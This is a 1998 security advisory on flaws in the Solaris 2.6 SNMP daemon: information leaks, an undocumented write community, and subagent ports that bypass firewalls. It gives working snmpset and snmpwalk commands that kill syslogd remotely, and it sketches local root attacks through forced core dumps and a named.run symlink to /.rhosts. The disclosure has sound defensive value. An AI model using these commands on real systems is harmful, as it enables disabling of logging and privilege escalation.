sun-snmp.txt

` Vulnerabilities in Sun Solaris 2.6 SNMP  
  
Jeremy Rauch <[email protected]>  
April 1998  
  
Sun's snmpd implementation as supplied with Solaris 2.6 includes what used  
to be shipped with Sun's Solstice Admin suite as it's snmpd, and associated  
subagents. Sun's snmpd is actually pretty interesting, in that it supports  
a number of features that really could be useful, if it wasn't for the fact  
that snmp is so insecure. Sun allows for the use of subagents, similar, in  
concept at least, to the AgentX initiatives which were tried with other  
SNMPv1 implementations. This complexity seems to have lead to a few short   
sighted design decisions, which can be leveraged to gain extensive information  
on a machine, as well as used to create both denial of service situations  
on the machine, as well as making it possible to leverage things to allow  
root compromise on the local host. I believe it's also probably possible,  
using either the dmi service, or some of the sunMasterAgent mib to gain  
remote access. I have not succeeded in doing so yet, but someone with  
better working knowledge of the Solstice Admin Suite (or who has a copy)  
could probably easily leverage this to gain remote access.  
  
  
1) Information gathering ability.  
Besides the typical amounts of information available via SNMP, Sun was nice  
enough to add a 'sunProccesses' group. From this table, it's trivial to  
extract a list of processes running, users logged in, idle times, TTY's, etc.  
Anything you could get out of a ps or netstat. This all lives in the   
/var/snmp/mib/sun.mib MIB.  
Sun's SNMP Master Agent MIB (/var/snmp/mib/snmpdx.mib) also has some   
interesting pieces of information that might, on the surface, not appear to  
be all that interesting, but can prove to be. This includes subagent  
configuration paths, executable paths, watchdog values, listening ports for  
subagents, and a whole slew of other stuff.  
  
  
2) MIB manipulation  
As shipped, Sun has defined 3 communities. They are 'public', 'private',  
and 'all private'. The first two are defined in /etc/snmp/conf/snmpdx.acl...  
the final one doesn't seem to exist in any configuration file. Public is  
read only. Private has write access to (supposedly) only the system mib, and  
'all private' has write access to the whole MIB. Yes. The whole MIB. Set's  
on the MIB-II that are going to work will always work via the SNMP port. Set's  
to the sunMib usually work via 161 also.   
But what if port 161 is blocked via the firewall, or via efs or ipfilter  
on the host?  
  
3) Agent Ports  
Sun's subagent idea, while a good one, is less than secure. To manipulate  
the MIB-II and the sunMib, they use a subagent called mibiisa, which runs on  
some arbitrary high port, usually somewhere around 32780. By probing the  
with snmpget's on these high ports, we can find the listening port for mibiisa.  
I tend to do get's for something simple like system.sysDescr.0, which will  
always exist, using the 'public' community. When a response is recieved,  
we've hit the mibiisa, and can perform set's via this port with the   
'all private' community.  
  
Sun's snmpd tends to get in weird limbo states where it behaves badly. I  
believe this has to do with the subagent communication mechanism, but I'm  
not entirely sure. Sometimes it's necessary to use the high port to do a set,  
sometimes, the low one. Sometimes you need to forge the source address as  
being loopback, sometimes you don't. Why, I have no idea. Things also  
sometimes take a few seconds to be reflected in the MIB. Processes, for   
instance, don't always appear instantly in the MIB.  
  
Example: Killing a process living on a remote host behind a crappy firewall.  
  
a) snmpget -p 32780 -v 1 hostname public system.sysDescr.0  
... nothing gets returned...  
  
snmpget -p 32781 -v 1 hostname public system.sysDescr.0   
... nothing gets returned...we keep trying ports until we get something back...  
  
snmpget -p 32788 -v 1 hostname public system.sysDescr.0   
system.sysDescr.0 = "Sun SNMP Agent, SPARCstation-5"  
  
So we know mibiisa lives on port 32788.  
  
b) snmpwalk -p 32788 -v 1 hostname public \  
.1.3.6.1.4.enterprises.sun.sunMib.sunProcesses  
  
which will spew out a listing of all the processes on the machine. Let's go   
after syslogd.  
  
snmpwalk -p 32788 -v 1 hostname public \  
.1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName \  
| grep syslogd  
  
This results in:  
enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName.150   
= "syslogd"  
  
c)   
snmpset -p 32788 -v 1 hostname "all private" \  
.1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessStatus.150 i 9  
  
will send a sigkill to syslogd. And that's the end of logging on the machine.  
  
  
4) Leveraging SNMP problems for local root access  
This is actually pretty easy to accomplish. Since we can send any signal, we  
can always get things to dump core's, and as long as it read in the shadow,  
we can extract it. Something like ftp would work well. Ftp to the machine,  
send a sigtrap (5) to it, and it should dump a core in /, mode 644. Httpd's   
may also be a line of attack. We can also use the (now fixed) problem of   
rpcbind following of symlinks to create a /.rhosts file. Also, since we can   
send a SIGUSR1 to in.named, we can create a /usr/tmp/named.run symlink to   
/.rhosts, send the signal via SNMP, and we're in. (please note, .rhosts is   
just a convenient example. Any file can be attacked) NOTE: this is also a   
named bug, in my opinion, and should be addressed. All the tmp file creation   
should check for existing symlinks, etc.  
  
  
5) Leveraging SNMP problems for remote root access  
This is still a somewhat unknown quantity. The snmpdx.mib allows for the  
addition of subagents, configurations, and states. With better knowledge of   
the way the Solstice agent portions interact with each other, it seems likely   
that this could be leveraged for remote access. Something along the lines of   
depositing a conformant application in a writeable directory (say, an incoming   
directory in ftp). Causing remote mounts may also be a possibility, or using   
an automounted directory.   
  
  
6) Other questionable things  
The lack of authentication used with DMI is almost as disturbing as SNMP. Any  
user can remotely install or remove configuration files and subagents using the  
standard tools provided with 2.6. (dmi_cmd) Again, something like a world   
writeable ftp dir makes this easy to do. Again, a lack of working DMI   
knowledge makes it difficult to say just what is possible.  
  
The in.named problems mentioned above are problems seperate from the SNMP   
issues. If someone creates a link, they need only wait for someone to kill   
-USR1 the process to obtain root access. The file in question is named.run is   
created in /var/tmp.  
`